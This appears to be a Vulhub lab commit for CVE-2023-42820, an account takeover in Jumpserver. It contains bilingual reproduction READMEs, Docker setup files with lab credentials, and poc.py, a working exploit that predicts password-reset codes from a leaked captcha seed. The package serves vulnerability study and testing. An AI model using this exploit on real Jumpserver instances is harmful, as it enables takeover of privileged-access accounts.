first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

View File

@@ -0,0 +1,65 @@
# Jumpserver random seed leakage and account takeover (CVE-2023-42820)
[中文版本(Chinese version)](README.zh-cn.md)
Jumpserver is a Popular Open Source PAM (Privileged Access Management) system that provides web-based SSH (Secure Shell) and RDP (Remote Desktop Protocol) gateway.
In the version prior to 3.6.4 is affected by a high severity vulnerability. This vulnerability is due to a third-party library [django-simple-captcha](https://github.com/mbi/django-simple-captcha) exposing the random number seed to the API, potentially allowing the randomly generated verification codes to be replayed, which could lead to password resets.
References:
- <https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp>
- <https://mp.weixin.qq.com/s/VShjaDI1McerX843YyOENw>
<!-- - <https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html> -->
## Vulnerable environment
Before starting the server, change the value of `DOMAINS` in [config.env](config.env) to your IP and port, e.g. `DOMAINS=your-ip:8080`.
Execute following command to start a Jumpserver v3.6.3:
```
docker compose up -d
```
After waiting for a while, open `http://your-ip:8080` to see the Jumpserver login page.
## Vulnerability reproduce
I wrote a fairly straightforward semi-automated script to reproduce this vulnerability. Since it's semi-automated, it's crucial to follow the steps below meticulously to reproduce it accurately.
Firstly, open the 'Forgot Password' page in the tab #1 of your browser: `http://your-ip:8080/core/auth/password/forget/previewing/`. At this point, there will be a captcha displayed on the page.
- If the captcha includes the number "10", refresh it, as our script currently can't handle it
- If the captcha doesn't include the number "10", proceed to open this captcha in a new tab (tab #2)
The captcha image's URL must contain a SHA1 hash like `http://your-ip:8080/core/auth/captcha/image/87b2723d404657c2294abfab908975ebb9da5468/`, copy the hash as **seed** and we will use it later.
Return to the tab #1 and refresh the page. The purpose of refreshing is to **not use** the captcha containing the **seed** as this seed will be utilized in the subsequent steps.
After refreshing the page, correctly fill in the username and new captcha and submit it. You will be redirected to the captcha verification page.
The URL of this page should like `http://localhost:8080/core/auth/password/forgot/?token=sceOx7yWuAH9wWcuzc0nMQmLBzEPNhkhuTfl`, containing a random token value. Record this value as the **token**.
Use our [POC](poc.py):
```
python poc.py -t http://localhost:8080 --email admin@mycomany.com --seed [seed] --token [token]
```
This script requires 4 parameters:
- `-t` The target Jumpserver server URL
- `--email` The email address of the user to takeover (In vulhub is `admin@mycomany.com`)
- `--seed` The pseudorandom number **seed** noted earlier
- `--token` The **token** noted earlier
Upon the execution of the script, the predicted code value will be displayed:
![](1.png)
Return to your browser, enter this code and submit it. You will then be directed to the new password modification page; change the password accordingly.
For the complete reproduction process, please refer to the following [this gif](https://i.imgur.com/JXanh2I.gif):
![](https://i.imgur.com/JXanh2I.gif)

View File

@@ -0,0 +1,59 @@
# Jumpserver随机数种子泄露导致账户劫持漏洞CVE-2023-42820
Jumpserver是一个开源堡垒机系统。在其3.6.4及以下版本中,存在一处账户接管漏洞。攻击者通过第三方库[django-simple-captcha](https://github.com/mbi/django-simple-captcha)泄露的随机数种子推算出找回密码时的用户Token最终修改用户密码。
参考链接:
- <https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp>
- <https://mp.weixin.qq.com/s/VShjaDI1McerX843YyOENw>
<!-- - <https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html> -->
## 漏洞环境
启动环境前,修改[config.env](config.env)中`DOMAINS`的值为你的IP和端口`DOMAINS=your-ip:8080`
然后执行如下命令启动一个Jumpserver 3.6.3 的服务器:
```
docker compose up -d
```
启动服务需要等待一段时间,之后访问`http://your-ip:8080`即可查看到Jumpserver的登录页面。我们使用`admin`作为账号及密码即可登录,第一次登录管理员账号需要修改密码。
## 漏洞复现
我编写了一个非常简单的半自动化脚本来复现这个漏洞。由于是半自动化,严格按照如下步骤方可正确复现。
首先在浏览器第一个Tab中打开忘记密码页面`http://your-ip:8080/core/auth/password/forget/previewing/`,此时页面上将有一个验证码。
- 如果验证码中包含数字10则请刷新验证码因为我们的脚本暂时无法处理数字10
- 如果验证码中不包含数字10则右键菜单中将该验证码在新Tab下打开
新Tab中验证码的URL类似于`http://your-ip:8080/core/auth/captcha/image/87b2723d404657c2294abfab908975ebb9da5468/`其中包含该验证码的key一串sha1 hash值也就是后面伪随机数使用的种子记录下这个值作为**seed**。
返回第一个Tab**刷新页面**。刷新页面的目的是,不使用包含“种子”的验证码,因为这个种子将在后续步骤中使用到。
刷新页面后正确填写用户名和验证码后提交跳转到验证码验证页面。此时这个页面的URL类似于`http://localhost:8080/core/auth/password/forgot/?token=sceOx7yWuAH9wWcuzc0nMQmLBzEPNhkhuTfl`其中包含一个随机的token值记录下这个值作为**token**。
执行我们的[脚本](poc.py)
```
python poc.py -t http://localhost:8080 --email admin@mycomany.com --seed [seed] --token [token]
```
这个脚本需要传入4个参数
- `-t` 指定目标Jumpserver服务器地址
- `--email` 指定待劫持用户的邮箱地址
- `--seed` 前面记下来的随机数种子(**seed**
- `--token` 前面记下来的token值**token**
脚本执行后将输出预测的code值
![](1.png)
回到浏览器中输入该code提交即可来到修改新密码页面修改密码即可。
完整的复现过程请参考如下[这段屏幕录像](https://i.imgur.com/JXanh2I.gif)
![](https://i.imgur.com/JXanh2I.gif)

View File

@@ -0,0 +1,56 @@
# 版本号可以自己根据项目的版本修改
VERSION=v3.6.3
# 构建参数, 支持 amd64/arm64/loong64
TARGETARCH=amd64
# Compose
COMPOSE_PROJECT_NAME=jms
# COMPOSE_HTTP_TIMEOUT=3600
# DOCKER_CLIENT_TIMEOUT=3600
DOCKER_SUBNET=192.168.250.0/24
# 持久化存储
VOLUME_DIR=/opt/jumpserver
# MySQL
DB_HOST=mysql
DB_PORT=3306
DB_USER=root
DB_PASSWORD=nu4x599Wq7u0Bn8EABh3J91G
MARIADB_ROOT_PASSWORD=nu4x599Wq7u0Bn8EABh3J91G
DB_NAME=jumpserver
MARIADB_DATABASE=jumpserver
# Redis
REDIS_HOST=redis
REDIS_PORT=6379
REDIS_PASSWORD=8URXPL2x3HZMi7xoGTdk3Upj
# Core
SECRET_KEY=B3f2w8P2PfxIAS7s4URrD9YmSbtqX4vXdPUL217kL9XPUOWrmy
BOOTSTRAP_TOKEN=7Q11Vz6R2J6BLAdO
DEBUG=FALSE
LOG_LEVEL=ERROR
DOMAINS=
# Web
HTTP_PORT=8080
SSH_PORT=2222
MAGNUS_MYSQL_PORT=33061
MAGNUS_MARIADB_PORT=33062
MAGNUS_REDIS_PORT=63790
# Xpack
RDP_PORT=3389
MAGNUS_POSTGRESQL_PORT=54320
MAGNUS_ORACLE_PORTS=30000-30010
# Guacd
GUA_HOST: 127.0.0.1
GUA_PORT: 4822
##
# SECRET_KEY 保护签名数据的密匙, 首次安装请一定要修改并牢记, 后续升级和迁移不可更改, 否则将导致加密的数据不可解密。
# BOOTSTRAP_TOKEN 为组件认证使用的密钥, 仅组件注册时使用。组件指 koko、guacamole
CORE_HOST=http://127.0.0.1:8080

View File

@@ -0,0 +1,36 @@
version: '2.4'
services:
core:
image: vulhub/jumpserver:3.6.3
ulimits:
core: 0
restart: always
tty: true
environment:
MAGNUS_PORT: ${MAGNUS_PORT:-30000-30020}
env_file: config.env
ports:
- "8080:80"
- "2222:2222"
networks:
- jumpnet
mysql:
image: mariadb:10.11.5
command: --character-set-server=utf8 --collation-server=utf8_general_ci
env_file: config.env
networks:
- jumpnet
redis:
image: redis:6.2.13
command:
- /bin/sh
- -c
- redis-server --requirepass $$REDIS_PASSWORD --loglevel warning --maxmemory-policy allkeys-lru
env_file: config.env
networks:
- jumpnet
networks:
jumpnet:

View File

@@ -0,0 +1,96 @@
import requests
import logging
import sys
import random
import string
import argparse
from urllib.parse import urljoin
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
def nop_random(seed: str):
random.seed(seed)
for i in range(4):
random.randrange(-35, 35)
for p in range(int(180 * 38 * 0.1)):
random.randint(0, 180)
random.randint(0, 38)
def fix_seed(target: str, seed: str):
def _request(i: int, u: str):
logging.info('send %d request to %s', i, u)
response = requests.get(u, timeout=5)
assert response.status_code == 200
assert response.headers['Content-Type'] == 'image/png'
url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')
for idx in range(30):
_request(idx, url)
def send_code(target: str, email: str, reset_token: str):
url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)
response = requests.post(url, json={
'email': email,
'sms': '',
'form_type': 'email',
}, allow_redirects=False)
assert response.status_code == 200
logging.info("send code headers: %r response: %r", response.headers, response.text)
def main(target: str, email: str, seed: str, token: str):
fix_seed(target, seed)
nop_random(seed)
send_code(target, email, token)
code = random_string(6, lower=False, upper=False)
logging.info("your code is %s", code)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-t', '--target', type=str, required=True, help='target url')
parser.add_argument('--email', type=str, required=True, help='account email')
parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')
parser.add_argument('--token', type=str, required=True, help='account reset token')
args = parser.parse_args()
main(args.target, args.email, args.seed, args.token)